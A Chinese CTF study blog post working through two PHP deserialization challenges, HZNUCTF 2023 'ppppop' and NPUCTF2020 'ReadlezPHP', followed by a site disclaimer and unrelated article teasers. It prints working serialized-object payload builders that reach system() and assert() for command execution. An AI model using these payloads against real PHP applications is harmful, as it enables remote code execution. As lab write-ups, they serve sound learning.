4.25日学习记录

[HZNUCTF 2023 preliminary]ppppop

对于php反序列化,在之前的学习中有过了解,但是对于序列化字符串的格式不是很了解,刚好接触这题,可以了解一下

序列化字符串的格式:
布尔型(bool)b:value
整数型(int)i:value
字符串型(str)s:length:"value"
数组型(array)a:length:{...}
对象型(object)
O:length:class_name:properties_number{...}
NULL型
序列化字符串中各部分的含义:

O:4:"User":1:{s:7:"isAdmin";b:0;}
//“O”代表序列化对象,说明我们序列化的部分是对象,如果序列化的是数组的话就是A
//“4”代表类的名字占4个字符
//“User”代表类名
//“1”代表具有一个属性(这个位置应该不陌生,在对wakeup魔术方法绕过时,就可以通过修改属性数量来绕过)
//“s”代表字符串
//“7”代表属性名长度
//“isAdmin”属性名
//“b”代表布尔型数据
//“0”代表布尔值

 明确了各部分的含义之后,在学习之后的字符逃逸时就会好理解一些

例题

打开环境一片空白

 正常的步骤,源代码,dirsearch,抓包,通过这三种方法来获取信息是比较方便有效的

cookie中有个user,不寻常,通过base64解密查看一下(就是刚刚分析的那个字符串)

页面是空的,可能是因为user中的布尔值是空的,改成1试一试

 出现了熟悉的反序列化,但是也有陌生的东西,只用二次翻转就可以了

strrev():

php函数,有反转字符串的功能

<?php
echo strrev("Hello World!");
?>

 分析代码,应该是想让我们通过class B 来进行命令执行,那么怎么触发call方法,A里面也没有不可访问的方法,但是可以注意到A中出现了一个实例化的过程,并且对三个属性都进行了调用,func和args就是B中执行的属性,所以是不是可以在A中实例化B来触发魔术方法,进行命令执行

构造payload

 <?php
class A {public $className="B";public $funcName="system";public $args="ls";public function __destruct() {$class = new $this->className;$funcName = $this->funcName;$class->$funcName($this->args);}
}class B {public function __call($func, $arg) {$func($arg[0]);}
}
$a=new A;
echo base64_encode(strrev(serialize($a)));?>

 目录下没有看见有效信息,看看环境变量env

 

 [NPUCTF2020]ReadlezPHP

php动态函数:

所谓动态函数,就是函数的名字用变量表示的函数。

function wel(){echo 'welcome';
}
$result = "wel";
$result();
//调用动态函数的方法:
定义一个变量名;
把函数名赋给变量名;
使用变量名代替函数名动态调用函数

 打开题目,查看源码

进入到source中,拿到一串源码,典型的反序列化

 <?php
#error_reporting(0);
class HelloPhp
{public $a;public $b;public function __construct(){$this->a = "Y-m-d h:i:s";$this->b = "date";}public function __destruct(){$a = $this->a;$b = $this->b;echo $b($a);}
}
$c = new HelloPhp;if(isset($_GET['source']))
{highlight_file(__FILE__);die(0);
}@$ppp = unserialize($_GET["data"]);2024-04-25 01:45:07

这里涉及到使用动态函数,通过变量去调用,审查代码可以知道形式为b(a),那么a应该就是一个被执行的命令,b就是让这个字符串被当做命令执行,应该第一反应是eval,但是这里我们使用的是assert;

assert被认定为可变函数

<?php$a = 'assert';$a('phpinfo()');
?># 这就是可变函数

 可变函数就是指通过变量来调用函数;assert会把字符串参数执行,这个功能和eval类似,但是要求没有eval那么严格

构造payload

<?php
class HelloPhp
{public $a;public $b;
}
$c = new HelloPhp();
$c->a = 'phpinfo()';
$c->b = 'assert';
echo serialize($c);

在phpinfo中

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/3415.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ubuntu20.04开机运行java的sh脚本

用到了 rc.local 1、修改 /usr/lib/systemd/system/rc-local.service 在最下面添加 [Install] WantedBymulti-user.target 2、 系统没有 rc.local&#xff0c;需要手动创建 cd /etc vi rc.local在里面写入 /opt/start.sh chmod x /etc/rc.local # 添加可执行权限 chmod x…

基于小程序实现的惠农小店系统设计与开发

作者主页&#xff1a;Java码库 主营内容&#xff1a;SpringBoot、Vue、SSM、HLMT、Jsp、PHP、Nodejs、Python、爬虫、数据可视化、小程序、安卓app等设计与开发。 收藏点赞不迷路 关注作者有好处 文末获取源码 技术选型 【后端】&#xff1a;Java 【框架】&#xff1a;spring…

队列的实现(c语言实现)

队列的定义 队列&#xff08;Queue&#xff09;是一种特殊的线性数据结构&#xff0c;它遵循先进先出&#xff08;FIFO&#xff0c;First In First Out&#xff09;的原则。这意味着最早被添加到队列中的元素将是最先被移除的元素。队列的主要操作包括入队&#xff08;enqueue…

【错题集-编程题】数组中的最长连续子序列(排序 + 模拟)

牛客对应链接&#xff1a;数组中的最长连续子序列_牛客题霸_牛客网 (nowcoder.com) 一、分析题目 排序 模拟。 注意&#xff1a;值连续&#xff0c;位置可以不连续&#xff01;小心处理数字相同的情况。 二、代码 //值得学习的代码 class Solution { public:int MLS(vecto…

数字藏品:重塑艺术与科技的新媒介

数字藏品&#xff0c;这个新兴的词汇&#xff0c;正在逐渐渗透到我们的日常生活中。它不仅是一种新的艺术表达方式&#xff0c;更是一种科技与艺术相结合的全新媒介。那么&#xff0c;数字藏品究竟是什么呢&#xff1f; 首先&#xff0c;我们需要明确一点&#xff0c;数字藏品并…

LeetCode53. 最大子数组和

LeetCode53. 最大子数组和 解题思路dp 代码 /* 数组长度n 9,连续的区间 那区间长度为1的区间数量是&#xff0c;9个 区间长度为2的区间数量是8个 区间长度为3的连续的区间数量为7个 .... 区间长度为9的区间数量为1个 */ class Solution { public:int maxSubArray(vector<…

游戏工作室为什么要使用海外住宅IP防封?

当谈到游戏工作室时&#xff0c;它们通常以多开游戏账号来获取收益为主要目标。这种商业模式在游戏产业中已经成为一个独特而且颇具潜力的领域。然而&#xff0c;随之而来的是防封问题&#xff0c;特别是当游戏工作室试图通过多开账号来赚取更多收益时。因此&#xff0c;我们有…

13(第十二章,元数据管理)

目录 概述 业务驱动因素 目标和原则 基本概念 元数据与数据 元数据的类型 业务元数据 技术元数据 操作元数据 元数据注册标准 元数据来源 元数据架构类型 集中式元数据架构 分布式元数据架构 混合式元数据架构 双向元数据架构 方法 数据血缘和影响分析 度量…

Java操作 elasticsearch 8.1,如何实现索引的重建?

&#x1f3c6;本文收录于「Bug调优」专栏&#xff0c;主要记录项目实战过程中的Bug之前因后果及提供真实有效的解决方案&#xff0c;希望能够助你一臂之力&#xff0c;帮你早日登顶实现财富自由&#x1f680;&#xff1b;同时&#xff0c;欢迎大家关注&&收藏&&…

U盘无法正常格式化?教你一个强力的办法

前言 电脑格式化U盘或者移动硬盘的操作&#xff0c;相信各位小伙伴都是有一定经历的。 如果设备正常&#xff0c;那么进入到【此电脑】&#xff0c;在对应的分区点击【鼠标右键】-【格式化】就可以把对应的存储设备恢复到初始状态。 但凡事都会有例外&#xff0c;比如在格式化…

【openLooKeng-1.10.0集群环境安装部署】

openLooKeng-1.10.0集群环境安装部署 一、摘要二、正文1. 环境说明2. 集群拓扑图3. 安装过程(以root用户安装)3.1 在Coordinator和Worker两个节点都需要安装jdk1.8+3.2 在Coordinator上安装配置openLooKeng3.3 在Worker节点上进行配置openLooKeng3.4 在Coordinator节点上先启…

施耐德EOCR-2CT-300/5电流互感器 50HZ 5VA

EOCR主要产品有电子式电动机保护继电器&#xff0c;电子式过电流继电器&#xff0c;电子式欠电流继电器&#xff0c;电子式欠电压继电器&#xff0c;其它保护和监视装置&#xff0c;电流互感器。 施耐德EOCR-2CT-300/5电流互感器 EOCR-2CT系列型号&#xff1a; EOCR 2CT 100…

本地安装mysql并用python访问它

数据还是放在数据库中比较好&#xff0c;于是决定在本机安装个mysql服务。 环境&#xff1a;windows 10&#xff0c;python3.8.10 安装前首先要注意一点&#xff1a; 设置-系统-关于-设备&#xff08;电脑&#xff09;名称&#xff1a;为英文 一、进入mysql官网下载GPL免费版…

C++概念、头文件与c区别、变量、const关键字以及enum枚举

C概念 C最主要的就是&#xff1a;C是面向对象的编程思想&#xff0c;而C是面向过程的编程思想。C编写出来的效率比其他语言高的多。 C思想&#xff1a;万物皆对象 C语言的主要特点表现在两个方面&#xff0c;一是尽量兼容C,二是支持面向对象的方法。首先&#xff0c;C的确是一…

SNETCracker--超级弱口令检查工具简介

一、简介 SNETCracker 超级弱口令检查工具是一款Windows平台的弱口令审计工具&#xff0c;支持批量多线程检查&#xff0c;可快速发现弱密码、弱口令账号&#xff0c;密码支持和用户名结合进行检查&#xff0c;大大提高成功率&#xff0c;支持自定义服务端口和字典。 二、SNE…

Java集成结巴中文分词器、Springboot项目整合jieba分词,实现语句最精确的切分、自定义拆词

文章目录 一、jieba介绍二、集成三、原理四、自定义拆词4.1、方式一&#xff1a;在源码的dict.txt中修改然后重新打包(推荐)4.2、新建文件自定义拆词 五、其他问题 一、jieba介绍 jieba是一个分词器&#xff0c;可以实现智能拆词&#xff0c;最早是提供了python包&#xff0c;…

迪拜之行回顾:CESS 的 DePIN 创新之旅

迪拜最近是一个关键热词&#xff0c;成为了一系列 Web3 和加密活动的中心&#xff0c;吸引了行业领导者、创新者和爱好者&#xff0c;探索区块链和去中心化技术的最新发展。从 4 月中旬&#xff0c;一系列行业会议和活动陆续举行&#xff0c;吸引了一众与会者。然而暴雨积水又成…

2023平航杯——手机取证复现

手机最近连接的wifi"只有红茶可以吗"的密码是&#xff1f;【标准格式&#xff1a;ABCabc123!#】 手机上安装了某个运动软件&#xff0c;它的包名是&#xff1f;【标准格式&#xff1a;com.baidu.gpt】 com.dizhisoft.changdongli 该运动软件中最近一次运动记录的起点…

NodeJS操作符空格漏洞

Node.js 是一个基于 Chrome V8 引擎的 JavaScript 运行环境&#xff0c;它使得 JavaScript 可以脱离浏览器在服务器端运行。Node.js 利用事件驱动、非阻塞 I/O 模型等技术提高了性能&#xff0c;从而在开发领域得到广泛应用&#xff0c;比如Web服务应用&#xff08;尤其是非阻塞…

Python+Appium实现自动化测试

&#x1f345; 视频学习&#xff1a;文末有免费的配套视频可观看 &#x1f345; 关注公众号【互联网杂货铺】&#xff0c;回复 1 &#xff0c;免费获取软件测试全套资料&#xff0c;资料在手&#xff0c;涨薪更快 一、环境准备 1.脚本语言&#xff1a;Python3.x IDE&#x…